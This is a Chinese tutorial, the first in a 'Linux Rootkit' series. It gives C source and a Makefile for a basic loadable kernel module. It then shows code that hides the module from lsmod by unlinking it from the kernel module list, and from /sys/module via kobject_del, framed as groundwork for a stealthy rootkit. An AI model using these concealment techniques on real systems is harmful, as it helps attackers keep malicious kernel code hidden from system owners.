压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Linux Rootkit系列一:LKM的基礎編寫及隱藏

  對于這個系列文章,我的規劃如下:這一系列文章的重點集中在介紹linux rootkit中最討論最多也是最受歡迎的一種:loadable kernel module rootkit(LKM rootkit)。

  首先介紹最基礎的lkm模塊的編寫與加載以及如何讓lsmod命令無法發現我們的模塊(也就是本文的內容),然后是介紹lkm rootkit中最重要的技術,系統調用掛鉤,我將會給大家介紹三種不同的系統調用掛鉤技術,以便于在不同的場景中選擇最恰當的一種。接下來便是系統實戰,使用我們之前的知識來進一步完善我們的rootkit,包括如何隱藏進程,隱藏端口,徹底隱藏lkm,以及如何向現有的系統LKM模塊注射我們的代碼來改造成我們自己的lkm模塊。

  LKM(可加載內核模塊)

  LKM的全稱為Loadable Kernel Modules,中文名為可加載內核模塊,主要作用是用來擴展linux的內核功能。LKM的優點在于可以動態地加載到內存中,無須重新編譯內核。由于LKM具有這樣的特點,所以它經常被用于一些設備的驅動程序,例如聲卡,網卡等等。當然因為其優點,也經常被駭客用于rootkit技術當中。

  1.基本的LKM的編寫

  下面是一個最基本的LKM的實現,接下來我會對這個例子進行講解

  /*lkm.c*/

  #include <linux/module.h>

  #include <linux/kernel.h>

  #include <linux/init.h>

  static int lkm_init(void)

  {

  printk("Arciryas:module loaded
");

  return 0;

  }

  static void lkm_exit(void)

  {

  printk("Arciryas:module removed
");

  }

  module_init(lkm_init);

  module_exit(lkm_exit);

  這個程序并不是很復雜:其中我們的lkm_init()是初始化函數,在該模塊被加載時,這個函數被內核執行,有點構造函數的感覺;與之相對應的,lkm_init()是清除函數,當模塊被卸載時,內核將執行該函數,有點類似析構函數的感覺,注意,如果一個模塊未定義清除函數,則內核不允許卸載該模塊。

  為什么我們的初始化與清除函數中,使用的是printk()函數,而并非是我們熟悉的printf()函數呢?注意下我們這個程序包含的頭文件,在LKM中,是無法依賴于我們平時使用的C庫的,模塊僅僅被鏈接到內核,只可以調用內核所導出的函數,不存在可鏈接的函數庫。這是內核編程與我們平時應用程序編程的不同之一。printk()函數將內容紀錄在系統日志文件里,當然我們也可以用printk()將信息輸出至控制臺:

  printk(KERN_ALERT "output messages");

  其中KERN_ALERT指定了消息的優先級。

  module_init和module_exit是內核的特殊宏,我們需要利用這兩個特殊宏告訴內核,我們所定義的初始化函數和清除函數分別是什么。

  代碼的描述就到這里,接下來我們需要對我們的LKM程序進行編譯,下面是編譯所需的Makefile:

  obj-m   := lkm.o

  KDIR    := /lib/modules/$(shell uname -r)/build

  PWD    := $(shell pwd)

  default:

  $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

  接下來我們鍵入make命令開始編譯,除去編譯的中間產物外,我們僅僅需要的是lkm.ko。

  裝載LKM我們需要insmod命令。鍵入

  insmod lkm.ko

  回車,這時你會發現什么都沒有發生,沒有關系,這是因為我們并沒有對于我們的消息指定KERN_ALERT優先級,此時printk將消息傳輸到了系統日志syslog中,我們可以在/var/log/messages中查看,當然,在不同的發行版以及不同的syslog配置中,該文件的路徑不同。

  我們可以cat /var/log/messages或者利用dmesg命令查看printk輸出的消息,如下圖所示:

  為了方便起見我只顯示了最后一條信息,也就是我們LKM中初始化函數所輸出的信息。

  我們再輸入lsmod命令查看我們的模塊。lsmod命令的作用是顯示已載入系統的模塊。如下圖:

  其中lkm當然是我們的模塊名稱,676則代表的是模塊大小,0表示模塊的被使用次數。有興趣的同學可以自己試試lsmod命令查看下系統所加載的其他模塊。

  OK,現在我們可以對我們的LKM進行卸載了,卸載LKM的命令是rmmod。鍵入

  rmmod lkm.ko

  后,我們再查看下系統日志:

  可以看出清除函數中的信息也成功輸出,這時再試試lsmod命令,你會發現我們的模塊在其中不復存在了。

  2.從lsmod命令中隱藏我們的模塊

  現在有個小問題,如果我們既不想讓dmesg也不想讓lsmod這兩個命令察覺到我們的模塊呢?對于rootkit來說,隱蔽性是非常重要的,一個lsmod命令就可以讓我們的lkm遁形,這顯然談不上隱蔽。對于dmesg命令,我們只要刪除掉printk()函數就好,這個函數所起的僅僅是示范作用。但是如何讓lsmod命令無法顯示我們的模塊呢。

  在這里我簡單介紹下lsmod原理,以便于讀者理解之后我是如何在lsmod命令中隱藏我的模塊的。lsmod命令是通過/proc/modules來獲取當前系統模塊信息的。而/proc/modules中的當前系統模塊信息是內核利用struct modules結構體的表頭遍歷內核模塊鏈表、從所有模塊的struct module結構體中獲取模塊的相關信息來得到的。結構體struct module在內核中代表一個內核模塊。通過insmod(實際執行init_module系統調用)把自己編寫的內核模塊插入內核時,模塊便與一個 struct module結構體相關聯,并成為內核的一部分,所有的內核模塊都被維護在一個全局鏈表中,鏈表頭是一個全局變量struct module *modules。任何一個新創建的模塊,都會被加入到這個鏈表的頭部,通過modules->next即可引用到。為了讓我們的模塊在lsmod命令中的輸出里消失掉,我們需要在這個鏈表內刪除我們的模塊:

  list_del_init(&__this_module.list);

  list_del_init函數定義于include/linux/list.h中,我們可以看下它的實現:

  static inline void list_del_init (struct list_head * entry)

  {

  __list_del (entry->prev, entry->next);

  INIT_LIST_HEAD (entry);

  }

  static inline void __list_del (struct list_head * prev, struct list_head * next)

  {

  next-> prev = prev;

  prev-> next = next;

  }

  static inline void INIT_LIST_HEAD (struct list_head * list)

  {

  list-> next = list;

  list-> prev = list;

  }

  現在我們將"list_del_init(&__this_module.list);"加入到我們的初始化函數中,保存,編譯,裝載模塊,再輸入lsmod,這時你會發現,輸出中我們的模塊已經找不到了,我們在lsmod命令中成功的隱藏了我們的模塊!

  3.從sysfs中隱藏我們的模塊

  當然我們還不能高興的太早,除了lsmod命令和相對應的查看/proc/modules以外,我們還可以在sysfs中,也就是通過查看/sys/module/目錄來發現現有的模塊。

  ?這個問題也很好解決,在初始化函數中添加一行代碼即可解決問題:

  kobject_del(&THIS_MODULE->mkobj.kobj);

  THIS_MODULE在include/linux/module.h中的定義如下

  extern struct module __this_module;

  #define THIS_MODULE (&__this_module)

  可以看出THIS_MODULE的作用是指向當前模塊。&THIS_MODULE->mkobj.kobj則代表的是struct module結構體的成員struct module_kobject的一部分,結構體的定義如下:

  struct module_kobject{

  struct kobject kobj;

  struct module *mod;

  };

  其中kobj是一個struct kobject結構體,而kobject是組成設備模型的基本結構。這時我們又要簡單介紹下sysfs這個概念,sysfs是一種基于ram的文件系統,它提供了一種用于向用戶空間展現內核空間里的對象、屬性和鏈接的方法。sysfs與kobject層次緊密相連,它將kobject層次關系表現出來,使得用戶空間可以看見這些層次關系。通常,sysfs是掛在在/sys目錄下的,而/sys/module是一個sysfs的一個目錄層次, 包含當前加載模塊的信息. 我們通過kobject_del()函數刪除我們當前模塊的kobject就可以起到在/sys/module中隱藏lkm的作用。

  好了,這時再將"kobject_del(&THIS_MODULE->mkobj.kobj);"也添加在初始化函數里,保存,編譯,裝載模塊,然后再去看看/sys/module,是不是什么也看不到了?

  結語

  對于lkm的入門以及lkm的簡單隱藏辦法已經介紹完了,但是這只是通向lkm rootkit的長征路上第一步,在下次的文章中,我會介紹lkm rootkit編寫中最為關鍵的技術:system call hook,也就是系統調用掛鉤技術。

上一篇:智能無懼挑戰 山石網科轟動RSA2015

下一篇:蠕蟲利用Bash破殼(ShellShock)漏洞感染臺灣威聯通(QNAP)系